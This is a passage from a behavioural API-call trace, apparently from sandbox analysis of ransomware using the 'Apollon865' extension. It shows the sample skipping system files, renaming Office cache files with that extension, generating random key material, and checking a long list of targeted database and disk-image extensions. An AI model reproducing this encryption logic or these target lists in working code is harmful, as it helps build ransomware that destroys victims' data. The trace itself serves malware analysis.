	[0077.894] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".ini") returned 1
	[0077.894] lstrlenW (lpString=".sys") returned 4
	[0077.894] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".sys") returned 1
	[0077.894] lstrlenW (lpString="dwtrig20.exe") returned 12
	[0077.894] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Microsoft.VC90.CRT.manifest" | out: lpString1="Microsoft.VC90.CRT.manifest") returned="Microsoft.VC90.CRT.manifest"
	[0077.894] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27
	[0077.894] lstrlenW (lpString="Apollon865") returned 10
	[0077.894] lstrcmpiW (lpString1="T.manifest", lpString2="Apollon865") returned 1
	[0077.894] lstrlenW (lpString=".dll") returned 4
	[0077.894] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".dll") returned 1
	[0077.894] lstrlenW (lpString=".lnk") returned 4
	[0077.894] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".lnk") returned 1
	[0077.894] lstrlenW (lpString=".ini") returned 4
	[0077.894] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".ini") returned 1
	[0077.894] lstrlenW (lpString=".sys") returned 4
	[0077.894] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".sys") returned 1
	[0077.894] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27
	[0077.895] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="msvcr90.dll" | out: lpString1="msvcr90.dll") returned="msvcr90.dll"
	[0077.895] lstrlenW (lpString="msvcr90.dll") returned 11
	[0077.895] lstrlenW (lpString="Apollon865") returned 10
	[0077.895] lstrcmpiW (lpString1="svcr90.dll", lpString2="Apollon865") returned 1
	[0077.895] lstrlenW (lpString=".dll") returned 4
	[0077.895] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".dll") returned 1
	[0077.895] lstrlenW (lpString=".lnk") returned 4
	[0077.895] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".lnk") returned 1
	[0077.895] lstrlenW (lpString=".ini") returned 4
	[0077.895] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".ini") returned 1
	[0077.895] lstrlenW (lpString=".sys") returned 4
	[0077.895] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".sys") returned 1
	[0077.895] lstrlenW (lpString="msvcr90.dll") returned 11
	[0077.895] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OfficeLR.cab" | out: lpString1="OfficeLR.cab") returned="OfficeLR.cab"
	[0077.895] lstrlenW (lpString="OfficeLR.cab") returned 12
	[0077.895] lstrlenW (lpString="Apollon865") returned 10
	[0077.895] lstrcmpiW (lpString1="ficeLR.cab", lpString2="Apollon865") returned 1
	[0077.895] lstrlenW (lpString=".dll") returned 4
	[0077.895] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".dll") returned 1
	[0077.895] lstrlenW (lpString=".lnk") returned 4
	[0077.895] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".lnk") returned 1
	[0077.895] lstrlenW (lpString=".ini") returned 4
	[0077.895] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".ini") returned 1
	[0077.895] lstrlenW (lpString=".sys") returned 4
	[0077.895] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".sys") returned 1
	[0077.895] lstrlenW (lpString="OfficeLR.cab") returned 12
	[0077.895] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OfficeMUI.msi" | out: lpString1="OfficeMUI.msi") returned="OfficeMUI.msi"
	[0077.895] lstrlenW (lpString="OfficeMUI.msi") returned 13
	[0077.895] lstrlenW (lpString="Apollon865") returned 10
	[0077.895] lstrcmpiW (lpString1="iceMUI.msi", lpString2="Apollon865") returned 1
	[0077.895] lstrlenW (lpString=".dll") returned 4
	[0077.895] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".dll") returned 1
	[0077.896] lstrlenW (lpString=".lnk") returned 4
	[0077.896] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".lnk") returned 1
	[0077.896] lstrlenW (lpString=".ini") returned 4
	[0077.896] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".ini") returned 1
	[0077.896] lstrlenW (lpString=".sys") returned 4
	[0077.896] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".sys") returned 1
	[0077.896] lstrlenW (lpString="OfficeMUI.msi") returned 13
	[0077.896] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OfficeMUI.xml" | out: lpString1="OfficeMUI.xml") returned="OfficeMUI.xml"
	[0077.896] lstrlenW (lpString="OfficeMUI.xml") returned 13
	[0077.896] lstrlenW (lpString="Apollon865") returned 10
	[0077.896] lstrcmpiW (lpString1="iceMUI.xml", lpString2="Apollon865") returned 1
	[0077.896] lstrlenW (lpString=".dll") returned 4
	[0077.896] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".dll") returned 1
	[0077.896] lstrlenW (lpString=".lnk") returned 4
	[0077.896] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".lnk") returned 1
	[0077.896] lstrlenW (lpString=".ini") returned 4
	[0077.896] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".ini") returned 1
	[0077.896] lstrlenW (lpString=".sys") returned 4
	[0077.896] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".sys") returned 1
	[0077.896] lstrlenW (lpString="OfficeMUI.xml") returned 13
	[0077.896] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.Apollon865") returned 87
	[0077.896] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.897] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0077.897] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5557) returned 1
	[0077.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0077.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0077.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0077.898] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfc50) returned 1
	[0077.898] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.898] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0077.899] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18c0, lpName=0x0) returned 0xd8
	[0077.900] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18c0) returned 0x100000
	[0077.903] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfc50) returned 1
	[0077.904] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.904] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0077.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0077.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0077.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.904] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.907] CloseHandle (hObject=0xd8) returned 1
	[0077.907] CloseHandle (hObject=0x100) returned 1
	[0077.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0077.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0077.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0077.907] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0077.907] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.907] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="Apollon865.txt.exe") returned 1
	[0077.907] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".") returned 1
	[0077.907] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="..") returned 1
	[0077.907] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="windows") returned -1
	[0077.907] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="bootmgr") returned 1
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="temp") returned -1
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="pagefile.sys") returned -1
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="boot") returned 1
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="ids.txt") returned 1
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="ntuser.dat") returned 1
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="perflogs") returned -1
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="MSBuild") returned 1
	[0077.908] lstrlenW (lpString="OfficeMUISet.msi") returned 16
	[0077.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0077.908] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OfficeMUISet.msi" | out: lpString1="OfficeMUISet.msi") returned="OfficeMUISet.msi"
	[0077.908] lstrlenW (lpString="OfficeMUISet.msi") returned 16
	[0077.908] lstrlenW (lpString="Apollon865") returned 10
	[0077.908] lstrcmpiW (lpString1="MUISet.msi", lpString2="Apollon865") returned 1
	[0077.908] lstrlenW (lpString=".dll") returned 4
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".dll") returned 1
	[0077.908] lstrlenW (lpString=".lnk") returned 4
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".lnk") returned 1
	[0077.908] lstrlenW (lpString=".ini") returned 4
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".ini") returned 1
	[0077.908] lstrlenW (lpString=".sys") returned 4
	[0077.908] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".sys") returned 1
	[0077.908] lstrlenW (lpString="OfficeMUISet.msi") returned 16
	[0077.908] lstrlenW (lpString="bak") returned 3
	[0077.908] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0077.908] lstrlenW (lpString="ba_") returned 3
	[0077.908] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0077.908] lstrlenW (lpString="dbb") returned 3
	[0077.908] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0077.908] lstrlenW (lpString="vmdk") returned 4
	[0077.908] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0077.908] lstrlenW (lpString="rar") returned 3
	[0077.908] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0077.909] lstrlenW (lpString="zip") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0077.909] lstrlenW (lpString="tgz") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0077.909] lstrlenW (lpString="vbox") returned 4
	[0077.909] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0077.909] lstrlenW (lpString="vdi") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0077.909] lstrlenW (lpString="vhd") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0077.909] lstrlenW (lpString="vhdx") returned 4
	[0077.909] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0077.909] lstrlenW (lpString="avhd") returned 4
	[0077.909] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0077.909] lstrlenW (lpString="db") returned 2
	[0077.909] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0077.909] lstrlenW (lpString="db2") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0077.909] lstrlenW (lpString="db3") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0077.909] lstrlenW (lpString="dbf") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0077.909] lstrlenW (lpString="mdf") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0077.909] lstrlenW (lpString="mdb") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0077.909] lstrlenW (lpString="sql") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0077.909] lstrlenW (lpString="sqlite") returned 6
	[0077.909] lstrcmpiW (lpString1="et.msi", lpString2="sqlite") returned -1
	[0077.909] lstrlenW (lpString="sqlite3") returned 7
	[0077.909] lstrcmpiW (lpString1="Set.msi", lpString2="sqlite3") returned -1
	[0077.909] lstrlenW (lpString="sqlitedb") returned 8
	[0077.909] lstrcmpiW (lpString1="ISet.msi", lpString2="sqlitedb") returned -1
	[0077.909] lstrlenW (lpString="xml") returned 3
	[0077.909] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0077.909] lstrlenW (lpString="$er") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0077.910] lstrlenW (lpString="4dd") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0077.910] lstrlenW (lpString="4dl") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0077.910] lstrlenW (lpString="^^^") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0077.910] lstrlenW (lpString="abs") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0077.910] lstrlenW (lpString="abx") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0077.910] lstrlenW (lpString="accdb") returned 5
	[0077.910] lstrcmpiW (lpString1="t.msi", lpString2="accdb") returned 1
	[0077.910] lstrlenW (lpString="accdc") returned 5
	[0077.910] lstrcmpiW (lpString1="t.msi", lpString2="accdc") returned 1
	[0077.910] lstrlenW (lpString="accde") returned 5
	[0077.910] lstrcmpiW (lpString1="t.msi", lpString2="accde") returned 1
	[0077.910] lstrlenW (lpString="accdr") returned 5
	[0077.910] lstrcmpiW (lpString1="t.msi", lpString2="accdr") returned 1
	[0077.910] lstrlenW (lpString="accdt") returned 5
	[0077.910] lstrcmpiW (lpString1="t.msi", lpString2="accdt") returned 1
	[0077.910] lstrlenW (lpString="accdw") returned 5
	[0077.910] lstrcmpiW (lpString1="t.msi", lpString2="accdw") returned 1
	[0077.910] lstrlenW (lpString="accft") returned 5
	[0077.910] lstrcmpiW (lpString1="t.msi", lpString2="accft") returned 1
	[0077.910] lstrlenW (lpString="adb") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.910] lstrlenW (lpString="adb") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.910] lstrlenW (lpString="ade") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0077.910] lstrlenW (lpString="adf") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0077.910] lstrlenW (lpString="adn") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0077.910] lstrlenW (lpString="adp") returned 3
	[0077.910] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0077.910] lstrlenW (lpString="alf") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0077.911] lstrlenW (lpString="ask") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0077.911] lstrlenW (lpString="btr") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0077.911] lstrlenW (lpString="cat") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0077.911] lstrlenW (lpString="cdb") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0077.911] lstrlenW (lpString="ckp") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0077.911] lstrlenW (lpString="cma") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0077.911] lstrlenW (lpString="cpd") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0077.911] lstrlenW (lpString="dacpac") returned 6
	[0077.911] lstrcmpiW (lpString1="et.msi", lpString2="dacpac") returned 1
	[0077.911] lstrlenW (lpString="dad") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0077.911] lstrlenW (lpString="dadiagrams") returned 10
	[0077.911] lstrcmpiW (lpString1="MUISet.msi", lpString2="dadiagrams") returned 1
	[0077.911] lstrlenW (lpString="daschema") returned 8
	[0077.911] lstrcmpiW (lpString1="ISet.msi", lpString2="daschema") returned 1
	[0077.911] lstrlenW (lpString="db-journal") returned 10
	[0077.911] lstrcmpiW (lpString1="MUISet.msi", lpString2="db-journal") returned 1
	[0077.911] lstrlenW (lpString="db-shm") returned 6
	[0077.911] lstrcmpiW (lpString1="et.msi", lpString2="db-shm") returned 1
	[0077.911] lstrlenW (lpString="db-wal") returned 6
	[0077.911] lstrcmpiW (lpString1="et.msi", lpString2="db-wal") returned 1
	[0077.911] lstrlenW (lpString="dbc") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0077.911] lstrlenW (lpString="dbs") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0077.911] lstrlenW (lpString="dbt") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0077.911] lstrlenW (lpString="dbv") returned 3
	[0077.911] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0077.912] lstrlenW (lpString="dbx") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0077.912] lstrlenW (lpString="dcb") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0077.912] lstrlenW (lpString="dct") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0077.912] lstrlenW (lpString="dcx") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0077.912] lstrlenW (lpString="ddl") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0077.912] lstrlenW (lpString="dlis") returned 4
	[0077.912] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0077.912] lstrlenW (lpString="dp1") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0077.912] lstrlenW (lpString="dqy") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0077.912] lstrlenW (lpString="dsk") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0077.912] lstrlenW (lpString="dsn") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0077.912] lstrlenW (lpString="dtsx") returned 4
	[0077.912] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0077.912] lstrlenW (lpString="dxl") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0077.912] lstrlenW (lpString="eco") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0077.912] lstrlenW (lpString="ecx") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0077.912] lstrlenW (lpString="edb") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0077.912] lstrlenW (lpString="epim") returned 4
	[0077.912] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0077.912] lstrlenW (lpString="fcd") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0077.912] lstrlenW (lpString="fdb") returned 3
	[0077.912] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0077.912] lstrlenW (lpString="fic") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0077.913] lstrlenW (lpString="flexolibrary") returned 12
	[0077.913] lstrcmpiW (lpString1="ceMUISet.msi", lpString2="flexolibrary") returned -1
	[0077.913] lstrlenW (lpString="fm5") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0077.913] lstrlenW (lpString="fmp") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0077.913] lstrlenW (lpString="fmp12") returned 5
	[0077.913] lstrcmpiW (lpString1="t.msi", lpString2="fmp12") returned 1
	[0077.913] lstrlenW (lpString="fmpsl") returned 5
	[0077.913] lstrcmpiW (lpString1="t.msi", lpString2="fmpsl") returned 1
	[0077.913] lstrlenW (lpString="fol") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0077.913] lstrlenW (lpString="fp3") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0077.913] lstrlenW (lpString="fp4") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0077.913] lstrlenW (lpString="fp5") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0077.913] lstrlenW (lpString="fp7") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0077.913] lstrlenW (lpString="fpt") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0077.913] lstrlenW (lpString="frm") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0077.913] lstrlenW (lpString="gdb") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0077.913] lstrlenW (lpString="gdb") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0077.913] lstrlenW (lpString="grdb") returned 4
	[0077.913] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0077.913] lstrlenW (lpString="gwi") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0077.913] lstrlenW (lpString="hdb") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0077.913] lstrlenW (lpString="his") returned 3
	[0077.913] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0077.914] lstrlenW (lpString="ib") returned 2
	[0077.914] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0077.914] lstrlenW (lpString="idb") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0077.914] lstrlenW (lpString="ihx") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0077.914] lstrlenW (lpString="itdb") returned 4
	[0077.914] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0077.914] lstrlenW (lpString="itw") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0077.914] lstrlenW (lpString="jet") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0077.914] lstrlenW (lpString="jtx") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0077.914] lstrlenW (lpString="kdb") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0077.914] lstrlenW (lpString="kexi") returned 4
	[0077.914] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0077.914] lstrlenW (lpString="kexic") returned 5
	[0077.914] lstrcmpiW (lpString1="t.msi", lpString2="kexic") returned 1
	[0077.914] lstrlenW (lpString="kexis") returned 5
	[0077.914] lstrcmpiW (lpString1="t.msi", lpString2="kexis") returned 1
	[0077.914] lstrlenW (lpString="lgc") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0077.914] lstrlenW (lpString="lwx") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0077.914] lstrlenW (lpString="maf") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0077.914] lstrlenW (lpString="maq") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0077.914] lstrlenW (lpString="mar") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0077.914] lstrlenW (lpString="marshal") returned 7
	[0077.914] lstrcmpiW (lpString1="Set.msi", lpString2="marshal") returned 1
	[0077.914] lstrlenW (lpString="mas") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0077.914] lstrlenW (lpString="mav") returned 3
	[0077.914] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0077.915] lstrlenW (lpString="maw") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0077.915] lstrlenW (lpString="mdbhtml") returned 7
	[0077.915] lstrcmpiW (lpString1="Set.msi", lpString2="mdbhtml") returned 1
	[0077.915] lstrlenW (lpString="mdn") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0077.915] lstrlenW (lpString="mdt") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0077.915] lstrlenW (lpString="mfd") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0077.915] lstrlenW (lpString="mpd") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0077.915] lstrlenW (lpString="mrg") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0077.915] lstrlenW (lpString="mud") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0077.915] lstrlenW (lpString="mwb") returned 3
